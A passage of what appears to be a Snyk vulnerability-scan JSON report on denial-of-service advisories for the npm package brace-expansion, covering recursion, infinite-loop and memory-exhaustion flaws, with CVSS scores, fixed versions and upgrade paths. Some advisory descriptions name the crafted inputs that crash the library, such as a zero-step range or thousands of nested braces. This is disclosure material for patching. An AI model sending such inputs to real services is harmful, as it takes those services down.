"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
